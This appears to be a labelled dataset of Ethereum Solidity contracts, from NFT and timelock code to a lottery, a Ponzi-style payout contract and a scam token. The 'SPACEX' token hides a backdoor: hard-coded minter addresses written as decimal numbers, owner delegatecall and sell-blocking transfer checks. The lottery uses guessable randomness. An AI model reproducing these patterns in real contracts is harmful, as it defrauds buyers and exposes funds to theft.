function token() public view returns (IERC20) {
return _token;
}
function beneficiary() public view returns (address) {
return _beneficiary;
}
function releaseTime() public view returns (uint256) {
return _releaseTime;
}
function release() public {
require(block.timestamp >= _releaseTime);
uint256 amount = _token.balanceOf(address(this));
require(amount > 0);
_token.safeTransfer(_beneficiary, amount);
}
}
contract MBMTimelock is TokenTimelock {
string private _note;
constructor(
IERC20 token,
address beneficiary,
uint256 releaseTime,
string memory note
)
public
TokenTimelock(token, beneficiary, releaseTime)
{
_note = note;
}
function note() public view returns (string memory) {
return _note;
}
}
contract MBMLockBuilder is TokenRecover {
using SafeERC20 for IERC20;
event LockCreated(address indexed timelock, address indexed beneficiary, uint256 releaseTime, uint256 amount);
IERC20 private _token;
constructor(IERC20 token) public {
require(address(token) != address(0));
_token = token;
}
function createLock(
address beneficiary,
uint256 releaseTime,
uint256 amount,
string calldata note
)
external
onlyOwner
{
MBMTimelock lock = new MBMTimelock(_token, beneficiary, releaseTime, note);
emit LockCreated(address(lock), beneficiary, releaseTime, amount);
if (amount > 0) {
_token.safeTransfer(address(lock), amount);
}
}
function token() public view returns (IERC20) {
return _token;
}
} | 0 | 771 |
pragma solidity ^0.8.0;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
pragma solidity ^0.8.0;
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
pragma solidity ^0.8.0;
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
pragma solidity ^0.8.0;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
string private _name;
string private _symbol;
address[] internal _owners;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
uint count = 0;
uint length = _owners.length;
for( uint i = 0; i < length; ++i ){
if( owner == _owners[i] ){
++count;
}
}
delete length;
return count;
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return tokenId < _owners.length && _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_owners.push(to);
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
_owners[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
pragma solidity ^0.8.0;
abstract contract ERC721Enum is ERC721, IERC721Enumerable {
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256 tokenId) {
require(index < ERC721.balanceOf(owner), "ERC721Enum: owner ioob");
uint count;
for( uint i; i < _owners.length; ++i ){
if( owner == _owners[i] ){
if( count == index )
return i;
else
++count;
}
}
require(false, "ERC721Enum: owner ioob");
}
function tokensOfOwner(address owner) public view returns (uint256[] memory) {
require(0 < ERC721.balanceOf(owner), "ERC721Enum: owner ioob");
uint256 tokenCount = balanceOf(owner);
uint256[] memory tokenIds = new uint256[](tokenCount);
for (uint256 i = 0; i < tokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(owner, i);
}
return tokenIds;
}
function totalSupply() public view virtual override returns (uint256) {
return _owners.length;
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enum.totalSupply(), "ERC721Enum: global ioob");
return index;
}
}
pragma solidity ^0.8.0;
contract LazyBucksNFT is ERC721Enum, Ownable, ReentrancyGuard {
using Strings for uint256;
string public baseURI;
uint256 public cost = 0.05 ether;
uint256 public maxSupply = 8849;
uint256 public maxMint = 10;
bool public status = true;
address public company = 0xec768425D99113469EDd4d2146F6A601e5596c31;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol){
setBaseURI(_initBaseURI);
}
function _baseURI() internal view virtual returns (string memory) {
return baseURI;
}
function mint(uint256 _mintAmount) public payable nonReentrant{
uint256 s = totalSupply();
require(status, "Off" );
require(_mintAmount > 0, "0" );
require(_mintAmount <= maxMint, "Too many" );
require(s + _mintAmount <= maxSupply, "Max" );
require(msg.value >= cost * _mintAmount);
for (uint256 i = 0; i < _mintAmount; ++i) {
_safeMint(msg.sender, s + i, "");
}
delete s;
}
function giveAway(address recipient) external onlyOwner{
uint256 s = totalSupply();
require(s <= maxSupply, "Max" );
_safeMint(recipient, s, "" );
delete s;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: Nonexistent token");
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString())) : "";
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setMaxMintAmount(uint256 _newMaxMintAmount) public onlyOwner {
maxMint = _newMaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setSaleStatus(bool _status) public onlyOwner {
status = _status;
}
function withdraw() public onlyOwner {
payable(company).call{value: address(this).balance}("");
}
function changeWallet(address target) public onlyOwner {
company = target;
}
} | 0 | 2,395 |
pragma solidity ^0.4.18;
contract LifetimeLottery {
uint internal constant MIN_SEND_VAL = 500000000000000000;
uint internal constant JACKPOT_INC = 100000000000000000;
uint internal constant JACKPOT_CHANCE = 5;
uint internal nonce;
uint internal random;
uint internal jackpot;
uint internal jackpotNumber;
address[] internal lotteryList;
address internal lastWinner;
address internal lastJackpotWinner;
address internal deployer;
mapping(address => bool) addressMapping;
event LotteryLog(address adrs, string message);
function LifetimeLottery() public {
deployer = msg.sender;
nonce = (uint(msg.sender) + block.timestamp) % 100;
}
function () public payable {
LotteryLog(msg.sender, "Received new funds...");
if(msg.value >= MIN_SEND_VAL) {
if(addressMapping[msg.sender] == false) {
addressMapping[msg.sender] = true;
lotteryList.push(msg.sender);
nonce++;
random = uint(keccak256(block.timestamp + block.number + uint(msg.sender) + nonce)) % lotteryList.length;
lastWinner = lotteryList[random];
jackpotNumber = uint(keccak256(block.timestamp + block.number + random)) % 100;
if(jackpotNumber < JACKPOT_CHANCE) {
lastJackpotWinner = lastWinner;
lastJackpotWinner.transfer(msg.value + jackpot);
jackpot = 0;
LotteryLog(lastJackpotWinner, "Jackpot is hit!");
} else {
jackpot += JACKPOT_INC;
lastWinner.transfer(msg.value - JACKPOT_INC);
LotteryLog(lastWinner, "We have a Winner!");
}
} else {
msg.sender.transfer(msg.value);
LotteryLog(msg.sender, "Failed: already joined! Sending back received ether...");
}
} else {
msg.sender.transfer(msg.value);
LotteryLog(msg.sender, "Failed: not enough Ether sent! Sending back received ether...");
}
}
function amountOfRegisters() public constant returns(uint) {
return lotteryList.length;
}
function currentJackpotInWei() public constant returns(uint) {
return jackpot;
}
function ourLastWinner() public constant returns(address) {
return lastWinner;
}
function ourLastJackpotWinner() public constant returns(address) {
return lastJackpotWinner;
}
modifier isDeployer {
require(msg.sender == deployer);
_;
}
function withdraw() public isDeployer {
deployer.transfer(this.balance - jackpot);
}
function die() public isDeployer {
selfdestruct(deployer);
}
} | 1 | 5,508 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SPACEX {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,846 |
pragma solidity ^0.4.24;
contract ETH10 {
mapping (address => uint256) invested;
mapping (address => uint256) atBlock;
function () external payable {
if (invested[msg.sender] != 0) {
uint256 amount = invested[msg.sender] * 10/100 * (block.number - atBlock[msg.sender]) / 6000;
address sender = msg.sender;
sender.send(amount);
}
atBlock[msg.sender] = block.number;
invested[msg.sender] += msg.value;
}
} | 0 | 131 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
